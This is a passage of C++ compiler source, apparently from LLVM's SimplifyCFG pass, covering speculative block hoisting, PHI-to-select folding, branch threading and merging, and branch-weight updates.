I = SinkCandidateUseCounts.begin(),
E = SinkCandidateUseCounts.end();
I != E; ++I)
if (I->first->hasNUses(I->second)) {
++SpeculationCost;
if (SpeculationCost > 1)
return false;
}
// Check that the PHI nodes can be converted to selects.
bool HaveRewritablePHIs = false;
for (PHINode &PN : EndBB->phis()) {
Value *OrigV = PN.getIncomingValueForBlock(BB);
Value *ThenV = PN.getIncomingValueForBlock(ThenBB);
// FIXME: Try to remove some of the duplication with HoistThenElseCodeToIf.
// Skip PHIs which are trivial.
if (ThenV == OrigV)
continue;
// Don't convert to selects if we could remove undefined behavior instead.
if (passingValueIsAlwaysUndefined(OrigV, &PN) ||
passingValueIsAlwaysUndefined(ThenV, &PN))
return false;
HaveRewritablePHIs = true;
ConstantExpr *OrigCE = dyn_cast<ConstantExpr>(OrigV);
ConstantExpr *ThenCE = dyn_cast<ConstantExpr>(ThenV);
if (!OrigCE && !ThenCE)
continue; // Known safe and cheap.
if ((ThenCE && !isSafeToSpeculativelyExecute(ThenCE)) ||
(OrigCE && !isSafeToSpeculativelyExecute(OrigCE)))
return false;
unsigned OrigCost = OrigCE ? ComputeSpeculationCost(OrigCE, TTI) : 0;
unsigned ThenCost = ThenCE ? ComputeSpeculationCost(ThenCE, TTI) : 0;
unsigned MaxCost =
2 * PHINodeFoldingThreshold * TargetTransformInfo::TCC_Basic;
if (OrigCost + ThenCost > MaxCost)
return false;
// Account for the cost of an unfolded ConstantExpr which could end up
// getting expanded into Instructions.
// FIXME: This doesn't account for how many operations are combined in the
// constant expression.
++SpeculationCost;
if (SpeculationCost > 1)
return false;
}
// If there are no PHIs to process, bail early. This helps ensure idempotence
// as well.
if (!HaveRewritablePHIs && !(HoistCondStores && SpeculatedStoreValue))
return false;
// If we get here, we can hoist the instruction and if-convert.
LLVM_DEBUG(dbgs() << "SPECULATIVELY EXECUTING BB" << *ThenBB << "\n";);
// Insert a select of the value of the speculated store.
if (SpeculatedStoreValue) {
IRBuilder<NoFolder> Builder(BI);
Value *TrueV = SpeculatedStore->getValueOperand();
Value *FalseV = SpeculatedStoreValue;
if (Invert)
std::swap(TrueV, FalseV);
Value *S = Builder.CreateSelect(
BrCond, TrueV, FalseV, "spec.store.select", BI);
SpeculatedStore->setOperand(0, S);
SpeculatedStore->applyMergedLocation(BI->getDebugLoc(),
SpeculatedStore->getDebugLoc());
}
// Metadata can be dependent on the condition we are hoisting above.
// Conservatively strip all metadata on the instruction.
for (auto &I : *ThenBB)
I.dropUnknownNonDebugMetadata();
// Hoist the instructions.
BB->getInstList().splice(BI->getIterator(), ThenBB->getInstList(),
ThenBB->begin(), std::prev(ThenBB->end()));
// Insert selects and rewrite the PHI operands.
IRBuilder<NoFolder> Builder(BI);
for (PHINode &PN : EndBB->phis()) {
unsigned OrigI = PN.getBasicBlockIndex(BB);
unsigned ThenI = PN.getBasicBlockIndex(ThenBB);
Value *OrigV = PN.getIncomingValue(OrigI);
Value *ThenV = PN.getIncomingValue(ThenI);
// Skip PHIs which are trivial.
if (OrigV == ThenV)
continue;
// Create a select whose true value is the speculatively executed value and
// false value is the preexisting value. Swap them if the branch
// destinations were inverted.
Value *TrueV = ThenV, *FalseV = OrigV;
if (Invert)
std::swap(TrueV, FalseV);
Value *V = Builder.CreateSelect(
BrCond, TrueV, FalseV, "spec.select", BI);
PN.setIncomingValue(OrigI, V);
PN.setIncomingValue(ThenI, V);
}
// Remove speculated dbg intrinsics.
// FIXME: Is it possible to do this in a more elegant way? Moving/merging the
// dbg value for the different flows and inserting it after the select.
for (Instruction *I : SpeculatedDbgIntrinsics)
I->eraseFromParent();
++NumSpeculations;
return true;
}
/// Return true if we can thread a branch across this block.
static bool BlockIsSimpleEnoughToThreadThrough(BasicBlock *BB) {
unsigned Size = 0;
for (Instruction &I : BB->instructionsWithoutDebug()) {
if (Size > 10)
return false; // Don't clone large BB's.
++Size;
// We can only support instructions that do not define values that are
// live outside of the current basic block.
for (User *U : I.users()) {
Instruction *UI = cast<Instruction>(U);
if (UI->getParent() != BB || isa<PHINode>(UI))
return false;
}
// Looks ok, continue checking.
}
return true;
}
/// If we have a conditional branch on a PHI node value that is defined in the
/// same block as the branch and if any PHI entries are constants, thread edges
/// corresponding to that entry to be branches to their ultimate destination.
static bool FoldCondBranchOnPHI(BranchInst *BI, const DataLayout &DL,
AssumptionCache *AC) {
BasicBlock *BB = BI->getParent();
PHINode *PN = dyn_cast<PHINode>(BI->getCondition());
// NOTE: we currently cannot transform this case if the PHI node is used
// outside of the block.
if (!PN || PN->getParent() != BB || !PN->hasOneUse())
return false;
// Degenerate case of a single entry PHI.
if (PN->getNumIncomingValues() == 1) {
FoldSingleEntryPHINodes(PN->getParent());
return true;
}
// Now we know that this block has multiple preds and two succs.
if (!BlockIsSimpleEnoughToThreadThrough(BB))
return false;
// Can't fold blocks that contain noduplicate or convergent calls.
if (any_of(*BB, [](const Instruction &I) {
const CallInst *CI = dyn_cast<CallInst>(&I);
return CI && (CI->cannotDuplicate() || CI->isConvergent());
}))
return false;
// Okay, this is a simple enough basic block. See if any phi values are
// constants.
for (unsigned i = 0, e = PN->getNumIncomingValues(); i != e; ++i) {
ConstantInt *CB = dyn_cast<ConstantInt>(PN->getIncomingValue(i));
if (!CB || !CB->getType()->isIntegerTy(1))
continue;
// Okay, we now know that all edges from PredBB should be revectored to
// branch to RealDest.
BasicBlock *PredBB = PN->getIncomingBlock(i);
BasicBlock *RealDest = BI->getSuccessor(!CB->getZExtValue());
if (RealDest == BB)
continue; // Skip self loops.
// Skip if the predecessor's terminator is an indirect branch.
if (isa<IndirectBrInst>(PredBB->getTerminator()))
continue;
// The dest block might have PHI nodes, other predecessors and other
// difficult cases. Instead of being smart about this, just insert a new
// block that jumps to the destination block, effectively splitting
// the edge we are about to create.
BasicBlock *EdgeBB =
BasicBlock::Create(BB->getContext(), RealDest->getName() + ".critedge",
RealDest->getParent(), RealDest);
BranchInst *CritEdgeBranch = BranchInst::Create(RealDest, EdgeBB);
CritEdgeBranch->setDebugLoc(BI->getDebugLoc());
// Update PHI nodes.
AddPredecessorToBlock(RealDest, EdgeBB, BB);
// BB may have instructions that are being threaded over. Clone these
// instructions into EdgeBB. We know that there will be no uses of the
// cloned instructions outside of EdgeBB.
BasicBlock::iterator InsertPt = EdgeBB->begin();
DenseMap<Value *, Value *> TranslateMap; // Track translated values.
for (BasicBlock::iterator BBI = BB->begin(); &*BBI != BI; ++BBI) {
if (PHINode *PN = dyn_cast<PHINode>(BBI)) {
TranslateMap[PN] = PN->getIncomingValueForBlock(PredBB);
continue;
}
// Clone the instruction.
Instruction *N = BBI->clone();
if (BBI->hasName())
N->setName(BBI->getName() + ".c");
// Update operands due to translation.
for (User::op_iterator i = N->op_begin(), e = N->op_end(); i != e; ++i) {
DenseMap<Value *, Value *>::iterator PI = TranslateMap.find(*i);
if (PI != TranslateMap.end())
*i = PI->second;
}
// Check for trivial simplification.
if (Value *V = SimplifyInstruction(N, {DL, nullptr, nullptr, AC})) {
if (!BBI->use_empty())
TranslateMap[&*BBI] = V;
if (!N->mayHaveSideEffects()) {
N->deleteValue(); // Instruction folded away, don't need actual inst
N = nullptr;
}
} else {
if (!BBI->use_empty())
TranslateMap[&*BBI] = N;
}
// Insert the new instruction into its new home.
if (N)
EdgeBB->getInstList().insert(InsertPt, N);
// Register the new instruction with the assumption cache if necessary.
if (auto *II = dyn_cast_or_null<IntrinsicInst>(N))
if (II->getIntrinsicID() == Intrinsic::assume)
AC->registerAssumption(II);
}
// Loop over all of the edges from PredBB to BB, changing them to branch
// to EdgeBB instead.
Instruction *PredBBTI = PredBB->getTerminator();
for (unsigned i = 0, e = PredBBTI->getNumSuccessors(); i != e; ++i)
if (PredBBTI->getSuccessor(i) == BB) {
BB->removePredecessor(PredBB);
PredBBTI->setSuccessor(i, EdgeBB);
}
// Recurse, simplifying any other constants.
return FoldCondBranchOnPHI(BI, DL, AC) || true;
}
return false;
}
/// Given a BB that starts with the specified two-entry PHI node,
/// see if we can eliminate it.
static bool FoldTwoEntryPHINode(PHINode *PN, const TargetTransformInfo &TTI,
const DataLayout &DL) {
// Ok, this is a two entry PHI node. Check to see if this is a simple "if
// statement", which has a very simple dominance structure. Basically, we
// are trying to find the condition that is being branched on, which
// subsequently causes this merge to happen. We really want control
// dependence information for this check, but simplifycfg can't keep it up
// to date, and this catches most of the cases we care about anyway.
BasicBlock *BB = PN->getParent();
const Function *Fn = BB->getParent();
if (Fn && Fn->hasFnAttribute(Attribute::OptForFuzzing))
return false;
BasicBlock *IfTrue, *IfFalse;
Value *IfCond = GetIfCondition(BB, IfTrue, IfFalse);
if (!IfCond ||
// Don't bother if the branch will be constant folded trivially.
isa<ConstantInt>(IfCond))
return false;
// Okay, we found that we can merge this two-entry phi node into a select.
// Doing so would require us to fold *all* two entry phi nodes in this block.
// At some point this becomes non-profitable (particularly if the target
// doesn't support cmov's). Only do this transformation if there are two or
// fewer PHI nodes in this block.
unsigned NumPhis = 0;
for (BasicBlock::iterator I = BB->begin(); isa<PHINode>(I); ++NumPhis, ++I)
if (NumPhis > 2)
return false;
// Loop over the PHI's seeing if we can promote them all to select
// instructions. While we are at it, keep track of the instructions
// that need to be moved to the dominating block.
SmallPtrSet<Instruction *, 4> AggressiveInsts;
unsigned MaxCostVal0 = PHINodeFoldingThreshold,
MaxCostVal1 = PHINodeFoldingThreshold;
MaxCostVal0 *= TargetTransformInfo::TCC_Basic;
MaxCostVal1 *= TargetTransformInfo::TCC_Basic;
for (BasicBlock::iterator II = BB->begin(); isa<PHINode>(II);) {
PHINode *PN = cast<PHINode>(II++);
if (Value *V = SimplifyInstruction(PN, {DL, PN})) {
PN->replaceAllUsesWith(V);
PN->eraseFromParent();
continue;
}
if (!DominatesMergePoint(PN->getIncomingValue(0), BB, AggressiveInsts,
MaxCostVal0, TTI) ||
!DominatesMergePoint(PN->getIncomingValue(1), BB, AggressiveInsts,
MaxCostVal1, TTI))
return false;
}
// If we folded the first phi, PN dangles at this point. Refresh it. If
// we ran out of PHIs then we simplified them all.
PN = dyn_cast<PHINode>(BB->begin());
if (!PN)
return true;
// Don't fold i1 branches on PHIs which contain binary operators. These can
// often be turned into switches and other things.
if (PN->getType()->isIntegerTy(1) &&
(isa<BinaryOperator>(PN->getIncomingValue(0)) ||
isa<BinaryOperator>(PN->getIncomingValue(1)) ||
isa<BinaryOperator>(IfCond)))
return false;
// If all PHI nodes are promotable, check to make sure that all instructions
// in the predecessor blocks can be promoted as well. If not, we won't be able
// to get rid of the control flow, so it's not worth promoting to select
// instructions.
BasicBlock *DomBlock = nullptr;
BasicBlock *IfBlock1 = PN->getIncomingBlock(0);
BasicBlock *IfBlock2 = PN->getIncomingBlock(1);
if (cast<BranchInst>(IfBlock1->getTerminator())->isConditional()) {
IfBlock1 = nullptr;
} else {
DomBlock = *pred_begin(IfBlock1);
for (BasicBlock::iterator I = IfBlock1->begin(); !I->isTerminator(); ++I)
if (!AggressiveInsts.count(&*I) && !isa<DbgInfoIntrinsic>(I)) {
// This is not an aggressive instruction that we can promote.
// Because of this, we won't be able to get rid of the control flow, so
// the xform is not worth it.
return false;
}
}
if (cast<BranchInst>(IfBlock2->getTerminator())->isConditional()) {
IfBlock2 = nullptr;
} else {
DomBlock = *pred_begin(IfBlock2);
for (BasicBlock::iterator I = IfBlock2->begin(); !I->isTerminator(); ++I)
if (!AggressiveInsts.count(&*I) && !isa<DbgInfoIntrinsic>(I)) {
// This is not an aggressive instruction that we can promote.
// Because of this, we won't be able to get rid of the control flow, so
// the xform is not worth it.
return false;
}
}
LLVM_DEBUG(dbgs() << "FOUND IF CONDITION! " << *IfCond
<< " T: " << IfTrue->getName()
<< " F: " << IfFalse->getName() << "\n");
// If we can still promote the PHI nodes after this gauntlet of tests,
// do all of the PHI's now.
Instruction *InsertPt = DomBlock->getTerminator();
IRBuilder<NoFolder> Builder(InsertPt);
// Move all 'aggressive' instructions, which are defined in the
// conditional parts of the if's up to the dominating block.
if (IfBlock1)
hoistAllInstructionsInto(DomBlock, InsertPt, IfBlock1);
if (IfBlock2)
hoistAllInstructionsInto(DomBlock, InsertPt, IfBlock2);
while (PHINode *PN = dyn_cast<PHINode>(BB->begin())) {
// Change the PHI node into a select instruction.
Value *TrueVal = PN->getIncomingValue(PN->getIncomingBlock(0) == IfFalse);
Value *FalseVal = PN->getIncomingValue(PN->getIncomingBlock(0) == IfTrue);
Value *Sel = Builder.CreateSelect(IfCond, TrueVal, FalseVal, "", InsertPt);
PN->replaceAllUsesWith(Sel);
Sel->takeName(PN);
PN->eraseFromParent();
}
// At this point, IfBlock1 and IfBlock2 are both empty, so our if statement
// has been flattened. Change DomBlock to jump directly to our new block to
// avoid other simplifycfg's kicking in on the diamond.
Instruction *OldTI = DomBlock->getTerminator();
Builder.SetInsertPoint(OldTI);
Builder.CreateBr(BB);
OldTI->eraseFromParent();
return true;
}
/// If we found a conditional branch that goes to two returning blocks,
/// try to merge them together into one return,
/// introducing a select if the return values disagree.
static bool SimplifyCondBranchToTwoReturns(BranchInst *BI,
IRBuilder<> &Builder) {
assert(BI->isConditional() && "Must be a conditional branch");
BasicBlock *TrueSucc = BI->getSuccessor(0);
BasicBlock *FalseSucc = BI->getSuccessor(1);
ReturnInst *TrueRet = cast<ReturnInst>(TrueSucc->getTerminator());
ReturnInst *FalseRet = cast<ReturnInst>(FalseSucc->getTerminator());
// Check to ensure both blocks are empty (just a return) or optionally empty
// with PHI nodes. If there are other instructions, merging would cause extra
// computation on one path or the other.
if (!TrueSucc->getFirstNonPHIOrDbg()->isTerminator())
return false;
if (!FalseSucc->getFirstNonPHIOrDbg()->isTerminator())
return false;
Builder.SetInsertPoint(BI);
// Okay, we found a branch that is going to two return nodes. If
// there is no return value for this function, just change the
// branch into a return.
if (FalseRet->getNumOperands() == 0) {
TrueSucc->removePredecessor(BI->getParent());
FalseSucc->removePredecessor(BI->getParent());
Builder.CreateRetVoid();
EraseTerminatorAndDCECond(BI);
return true;
}
// Otherwise, figure out what the true and false return values are
// so we can insert a new select instruction.
Value *TrueValue = TrueRet->getReturnValue();
Value *FalseValue = FalseRet->getReturnValue();
// Unwrap any PHI nodes in the return blocks.
if (PHINode *TVPN = dyn_cast_or_null<PHINode>(TrueValue))
if (TVPN->getParent() == TrueSucc)
TrueValue = TVPN->getIncomingValueForBlock(BI->getParent());
if (PHINode *FVPN = dyn_cast_or_null<PHINode>(FalseValue))
if (FVPN->getParent() == FalseSucc)
FalseValue = FVPN->getIncomingValueForBlock(BI->getParent());
// In order for this transformation to be safe, we must be able to
// unconditionally execute both operands to the return. This is
// normally the case, but we could have a potentially-trapping
// constant expression that prevents this transformation from being
// safe.
if (ConstantExpr *TCV = dyn_cast_or_null<ConstantExpr>(TrueValue))
if (TCV->canTrap())
return false;
if (ConstantExpr *FCV = dyn_cast_or_null<ConstantExpr>(FalseValue))
if (FCV->canTrap())
return false;
// Okay, we collected all the mapped values and checked them for sanity, and
// defined to really do this transformation. First, update the CFG.
TrueSucc->removePredecessor(BI->getParent());
FalseSucc->removePredecessor(BI->getParent());
// Insert select instructions where needed.
Value *BrCond = BI->getCondition();
if (TrueValue) {
// Insert a select if the results differ.
if (TrueValue == FalseValue || isa<UndefValue>(FalseValue)) {
} else if (isa<UndefValue>(TrueValue)) {
TrueValue = FalseValue;
} else {
TrueValue =
Builder.CreateSelect(BrCond, TrueValue, FalseValue, "retval", BI);
}
}
Value *RI =
!TrueValue ? Builder.CreateRetVoid() : Builder.CreateRet(TrueValue);
(void)RI;
LLVM_DEBUG(dbgs() << "\nCHANGING BRANCH TO TWO RETURNS INTO SELECT:"
<< "\n " << *BI << "NewRet = " << *RI << "TRUEBLOCK: "
<< *TrueSucc << "FALSEBLOCK: " << *FalseSucc);
EraseTerminatorAndDCECond(BI);
return true;
}
/// Return true if the given instruction is available
/// in its predecessor block. If yes, the instruction will be removed.
static bool tryCSEWithPredecessor(Instruction *Inst, BasicBlock *PB) {
if (!isa<BinaryOperator>(Inst) && !isa<CmpInst>(Inst))
return false;
for (Instruction &I : *PB) {
Instruction *PBI = &I;
// Check whether Inst and PBI generate the same value.
if (Inst->isIdenticalTo(PBI)) {
Inst->replaceAllUsesWith(PBI);
Inst->eraseFromParent();
return true;
}
}
return false;
}
/// Return true if either PBI or BI has branch weight available, and store
/// the weights in {Pred|Succ}{True|False}Weight. If one of PBI and BI does
/// not have branch weight, use 1:1 as its weight.
static bool extractPredSuccWeights(BranchInst *PBI, BranchInst *BI,
uint64_t &PredTrueWeight,
uint64_t &PredFalseWeight,
uint64_t &SuccTrueWeight,
uint64_t &SuccFalseWeight) {
bool PredHasWeights =
PBI->extractProfMetadata(PredTrueWeight, PredFalseWeight);
bool SuccHasWeights =
BI->extractProfMetadata(SuccTrueWeight, SuccFalseWeight);
if (PredHasWeights || SuccHasWeights) {
if (!PredHasWeights)
PredTrueWeight = PredFalseWeight = 1;
if (!SuccHasWeights)
SuccTrueWeight = SuccFalseWeight = 1;
return true;
} else {
return false;
}
}
/// If this basic block is simple enough, and if a predecessor branches to us
/// and one of our successors, fold the block into the predecessor and use
/// logical operations to pick the right destination.
bool llvm::FoldBranchToCommonDest(BranchInst *BI, MemorySSAUpdater *MSSAU,
unsigned BonusInstThreshold) {
BasicBlock *BB = BI->getParent();
const unsigned PredCount = pred_size(BB);
Instruction *Cond = nullptr;
if (BI->isConditional())
Cond = dyn_cast<Instruction>(BI->getCondition());
else {
// For unconditional branch, check for a simple CFG pattern, where
// BB has a single predecessor and BB's successor is also its predecessor's
// successor. If such pattern exists, check for CSE between BB and its
// predecessor.
if (BasicBlock *PB = BB->getSinglePredecessor())
if (BranchInst *PBI = dyn_cast<BranchInst>(PB->getTerminator()))
if (PBI->isConditional() &&
(BI->getSuccessor(0) == PBI->getSuccessor(0) ||
BI->getSuccessor(0) == PBI->getSuccessor(1))) {
for (auto I = BB->instructionsWithoutDebug().begin(),
E = BB->instructionsWithoutDebug().end();
I != E;) {
Instruction *Curr = &*I++;
if (isa<CmpInst>(Curr)) {
Cond = Curr;
break;
}
// Quit if we can't remove this instruction.
if (!tryCSEWithPredecessor(Curr, PB))
return false;
}
}
if (!Cond)
return false;
}
if (!Cond || (!isa<CmpInst>(Cond) && !isa<BinaryOperator>(Cond)) ||
Cond->getParent() != BB || !Cond->hasOneUse())
return false;
// Make sure the instruction after the condition is the cond branch.
BasicBlock::iterator CondIt = ++Cond->getIterator();
// Ignore dbg intrinsics.
while (isa<DbgInfoIntrinsic>(CondIt))
++CondIt;
if (&*CondIt != BI)
return false;
// Only allow this transformation if computing the condition doesn't involve
// too many instructions and these involved instructions can be executed
// unconditionally. We denote all involved instructions except the condition
// as "bonus instructions", and only allow this transformation when the
// number of the bonus instructions we'll need to create when cloning into
// each predecessor does not exceed a certain threshold.
unsigned NumBonusInsts = 0;
for (auto I = BB->begin(); Cond != &*I; ++I) {
// Ignore dbg intrinsics.
if (isa<DbgInfoIntrinsic>(I))
continue;
if (!I->hasOneUse() || !isSafeToSpeculativelyExecute(&*I))
return false;
// I has only one use and can be executed unconditionally.
Instruction *User = dyn_cast<Instruction>(I->user_back());
if (User == nullptr || User->getParent() != BB)
return false;
// I is used in the same BB. Since BI uses Cond and doesn't have more slots
// to use any other instruction, User must be an instruction between next(I)
// and Cond.
// Account for the cost of duplicating this instruction into each
// predecessor.
NumBonusInsts += PredCount;
// Early exits once we reach the limit.
if (NumBonusInsts > BonusInstThreshold)
return false;
}
// Cond is known to be a compare or binary operator. Check to make sure that
// neither operand is a potentially-trapping constant expression.
if (ConstantExpr *CE = dyn_cast<ConstantExpr>(Cond->getOperand(0)))
if (CE->canTrap())
return false;
if (ConstantExpr *CE = dyn_cast<ConstantExpr>(Cond->getOperand(1)))
if (CE->canTrap())
return false;
// Finally, don't infinitely unroll conditional loops.
BasicBlock *TrueDest = BI->getSuccessor(0);
BasicBlock *FalseDest = (BI->isConditional()) ? BI->getSuccessor(1) : nullptr;
if (TrueDest == BB || FalseDest == BB)
return false;
for (pred_iterator PI = pred_begin(BB), E = pred_end(BB); PI != E; ++PI) {
BasicBlock *PredBlock = *PI;
BranchInst *PBI = dyn_cast<BranchInst>(PredBlock->getTerminator());
// Check that we have two conditional branches. If there is a PHI node in
// the common successor, verify that the same value flows in from both
// blocks.
SmallVector<PHINode *, 4> PHIs;
if (!PBI || PBI->isUnconditional() ||
(BI->isConditional() && !SafeToMergeTerminators(BI, PBI)) ||
(!BI->isConditional() &&
!isProfitableToFoldUnconditional(BI, PBI, Cond, PHIs)))
continue;
// Determine if the two branches share a common destination.
Instruction::BinaryOps Opc = Instruction::BinaryOpsEnd;
bool InvertPredCond = false;
if (BI->isConditional()) {
if (PBI->getSuccessor(0) == TrueDest) {
Opc = Instruction::Or;
} else if (PBI->getSuccessor(1) == FalseDest) {
Opc = Instruction::And;
} else if (PBI->getSuccessor(0) == FalseDest) {
Opc = Instruction::And;
InvertPredCond = true;
} else if (PBI->getSuccessor(1) == TrueDest) {
Opc = Instruction::Or;
InvertPredCond = true;
} else {
continue;
}
} else {
if (PBI->getSuccessor(0) != TrueDest && PBI->getSuccessor(1) != TrueDest)
continue;
}
LLVM_DEBUG(dbgs() << "FOLDING BRANCH TO COMMON DEST:\n" << *PBI << *BB);
IRBuilder<> Builder(PBI);
// If we need to invert the condition in the pred block to match, do so now.
if (InvertPredCond) {
Value *NewCond = PBI->getCondition();
if (NewCond->hasOneUse() && isa<CmpInst>(NewCond)) {
CmpInst *CI = cast<CmpInst>(NewCond);
CI->setPredicate(CI->getInversePredicate());
} else {
NewCond =
Builder.CreateNot(NewCond, PBI->getCondition()->getName() + ".not");
}
PBI->setCondition(NewCond);
PBI->swapSuccessors();
}
// If we have bonus instructions, clone them into the predecessor block.
// Note that there may be multiple predecessor blocks, so we cannot move
// bonus instructions to a predecessor block.
ValueToValueMapTy VMap; // maps original values to cloned values
// We already make sure Cond is the last instruction before BI. Therefore,
// all instructions before Cond other than DbgInfoIntrinsic are bonus
// instructions.
for (auto BonusInst = BB->begin(); Cond != &*BonusInst; ++BonusInst) {
if (isa<DbgInfoIntrinsic>(BonusInst))
continue;
Instruction *NewBonusInst = BonusInst->clone();
RemapInstruction(NewBonusInst, VMap,
RF_NoModuleLevelChanges | RF_IgnoreMissingLocals);
VMap[&*BonusInst] = NewBonusInst;
// If we moved a load, we cannot any longer claim any knowledge about
// its potential value. The previous information might have been valid
// only given the branch precondition.
// For an analogous reason, we must also drop all the metadata whose
// semantics we don't understand.
NewBonusInst->dropUnknownNonDebugMetadata();
PredBlock->getInstList().insert(PBI->getIterator(), NewBonusInst);
NewBonusInst->takeName(&*BonusInst);
BonusInst->setName(BonusInst->getName() + ".old");
}
// Clone Cond into the predecessor basic block, and or/and the
// two conditions together.
Instruction *CondInPred = Cond->clone();
RemapInstruction(CondInPred, VMap,
RF_NoModuleLevelChanges | RF_IgnoreMissingLocals);
PredBlock->getInstList().insert(PBI->getIterator(), CondInPred);
CondInPred->takeName(Cond);
Cond->setName(CondInPred->getName() + ".old");
if (BI->isConditional()) {
Instruction *NewCond = cast<Instruction>(
Builder.CreateBinOp(Opc, PBI->getCondition(), CondInPred, "or.cond"));
PBI->setCondition(NewCond);
uint64_t PredTrueWeight, PredFalseWeight, SuccTrueWeight, SuccFalseWeight;
bool HasWeights =
extractPredSuccWeights(PBI, BI, PredTrueWeight, PredFalseWeight,
SuccTrueWeight, SuccFalseWeight);
SmallVector<uint64_t, 8> NewWeights;
if (PBI->getSuccessor(0) == BB) {
if (HasWeights) {
// PBI: br i1 %x, BB, FalseDest
// BI: br i1 %y, TrueDest, FalseDest
// TrueWeight is TrueWeight for PBI * TrueWeight for BI.
NewWeights.push_back(PredTrueWeight * SuccTrueWeight);
// FalseWeight is FalseWeight for PBI * TotalWeight for BI +
// TrueWeight for PBI * FalseWeight for BI.
// We assume that total weights of a BranchInst can fit into 32 bits.
// Therefore, we will not have overflow using 64-bit arithmetic.
NewWeights.push_back(PredFalseWeight *
(SuccFalseWeight + SuccTrueWeight) +
PredTrueWeight * SuccFalseWeight);
}
AddPredecessorToBlock(TrueDest, PredBlock, BB, MSSAU);
PBI->setSuccessor(0, TrueDest);
}
if (PBI->getSuccessor(1) == BB) {
if (HasWeights) {
// PBI: br i1 %x, TrueDest, BB
// BI: br i1 %y, TrueDest, FalseDest
// TrueWeight is TrueWeight for PBI * TotalWeight for BI +
// FalseWeight for PBI * TrueWeight for BI.
NewWeights.push_back(PredTrueWeight *
(SuccFalseWeight + SuccTrueWeight) +
PredFalseWeight * SuccTrueWeight);
// FalseWeight is FalseWeight for PBI * FalseWeight for BI.
NewWeights.push_back(PredFalseWeight * SuccFalseWeight);
}
AddPredecessorToBlock(FalseDest, PredBlock, BB, MSSAU);
PBI->setSuccessor(1, FalseDest);
}
if (NewWeights.size() == 2) {
// Halve the weights if any of them cannot fit in an uint32_t
FitWeights(NewWeights);
SmallVector<uint32_t, 8> MDWeights(NewWeights.begin(),
NewWeights.end());
setBranchWeights(PBI, MDWeights[0], MDWeights[1]);
} else
PBI->setMetadata(LLVMContext::MD_prof, nullptr);
} else {
// Update PHI nodes in the common successors.
for (unsigned i = 0, e = PHIs.size(); i != e; ++i) {
ConstantInt *PBI_C = cast<ConstantInt>(
PHIs[i]->getIncomingValueForBlock(PBI->getParent()));
assert(PBI_C->getType()->isIntegerTy(1));
Instruction *MergedCond = nullptr;
if (PBI->getSuccessor(0) == TrueDest) {
// Create (PBI_Cond and PBI_C) or (!PBI_Cond and BI_Value)
// PBI_C is true: PBI_Cond or (!PBI_Cond and BI_Value)
// is false: !PBI_Cond and BI_Value
Instruction *NotCond = cast<Instruction>(
Builder.CreateNot(PBI->getCondition(), "not.cond"));
MergedCond = cast<Instruction>(
Builder.CreateBinOp(Instruction::And, NotCond, CondInPred,
"and.cond"));
if (PBI_C->isOne())
MergedCond = cast<Instruction>(Builder.CreateBinOp(
Instruction::Or, PBI->getCondition(), MergedCond, "or.cond"));
} else {
// Create (PBI_Cond and BI_Value) or (!PBI_Cond and PBI_C)
// PBI_C is true: (PBI_Cond and BI_Value) or (!PBI_Cond)
// is false: PBI_Cond and BI_Value
MergedCond = cast<Instruction>(Builder.CreateBinOp(
Instruction::And, PBI->getCondition(), CondInPred, "and.cond"));
if (PBI_C->isOne()) {
Instruction *NotCond = cast<Instruction>(
Builder.CreateNot(PBI->getCondition(), "not.cond"));
MergedCond = cast<Instruction>(Builder.CreateBinOp(
Instruction::Or, NotCond, MergedCond, "or.cond"));
}
}
// Update PHI Node.
PHIs[i]->setIncomingValueForBlock(PBI->getParent(), MergedCond);
}
// PBI is changed to branch to TrueDest below. Remove itself from
// potential phis from all other successors.
if (MSSAU)
MSSAU->changeCondBranchToUnconditionalTo(PBI, TrueDest);
// Change PBI from Conditional to Unconditional.
BranchInst *New_PBI = BranchInst::Create(TrueDest, PBI);
EraseTerminatorAndDCECond(PBI, MSSAU);
PBI = New_PBI;
}
// If BI was a loop latch, it may have had associated loop metadata.
// We need to copy it to the new latch, that is, PBI.
if (MDNode *LoopMD = BI->getMetadata(LLVMContext::MD_loop))
PBI->setMetadata(LLVMContext::MD_loop, LoopMD);
// TODO: If BB is reachable from all paths through PredBlock, then we
// could replace PBI's branch probabilities with BI's.
// Copy any debug value intrinsics into the end of PredBlock.
for (Instruction &I : *BB)
if (isa<DbgInfoIntrinsic>(I))
I.clone()->insertBefore(PBI);
return true;
}
return false;
}
// If there is only one store in BB1 and BB2, return it, otherwise return
// nullptr.
static StoreInst *findUniqueStoreInBlocks(BasicBlock *BB1, BasicBlock *BB2) {
StoreInst *S = nullptr;
for (auto *BB : {BB1, BB2}) {
if (!BB)
continue;
for (auto &I : *BB)
if (auto *SI = dyn_cast<StoreInst>(&I)) {
if (S)
// Multiple stores seen.
return nullptr;
else
S = SI;
}
}
return S;
}
static Value *ensureValueAvailableInSuccessor(Value *V, BasicBlock *BB,
Value *AlternativeV = nullptr) {
// PHI is going to be a PHI node that allows the value V that is defined in
// BB to be referenced in BB's only successor.
//
// If AlternativeV is nullptr, the only value we care about in PHI is V. It
// doesn't matter to us what the other operand is (it'll never get used). We
// could just create a new PHI with an undef incoming value, but that could
// increase register pressure if EarlyCSE/InstCombine can't fold it with some
// other PHI. So here we directly look for some PHI in BB's successor with V
// as an incoming operand. If we find one, we use it, else we create a new
// one.
//
// If AlternativeV is not nullptr, we care about both incoming values in PHI.
// PHI must be exactly: phi <ty> [ %BB, %V ], [ %OtherBB, %AlternativeV]
// where OtherBB is the single other predecessor of BB's only successor.
PHINode *PHI = nullptr;
BasicBlock *Succ = BB->getSingleSuccessor();
for (auto I = Succ->begin(); isa<PHINode>(I); ++I)
if (cast<PHINode>(I)->getIncomingValueForBlock(BB) == V) {
PHI = cast<PHINode>(I);
if (!AlternativeV)
break;
assert(Succ->hasNPredecessors(2));
auto PredI = pred_begin(Succ);
BasicBlock *OtherPredBB = *PredI == BB ? *++PredI : *PredI;
if (PHI->getIncomingValueForBlock(OtherPredBB) == AlternativeV)
break;
PHI = nullptr;
}
if (PHI)
return PHI;
// If V is not an instruction defined in BB, just return it.
if (!AlternativeV &&
(!isa<Instruction>(V) || cast<Instruction>(V)->getParent() != BB))
return V;
PHI = PHINode::Create(V->getType(), 2, "simplifycfg.merge", &Succ->front());
PHI->addIncoming(V, BB);
for (BasicBlock *PredBB : predecessors(Succ))
if (PredBB != BB)
PHI->addIncoming(
AlternativeV ? AlternativeV : UndefValue::get(V->getType()), PredBB);
return PHI;
}
static bool mergeConditionalStoreToAddress(BasicBlock *PTB, BasicBlock *PFB,
BasicBlock *QTB, BasicBlock *QFB,
BasicBlock *PostBB, Value *Address,
bool InvertPCond, bool InvertQCond,
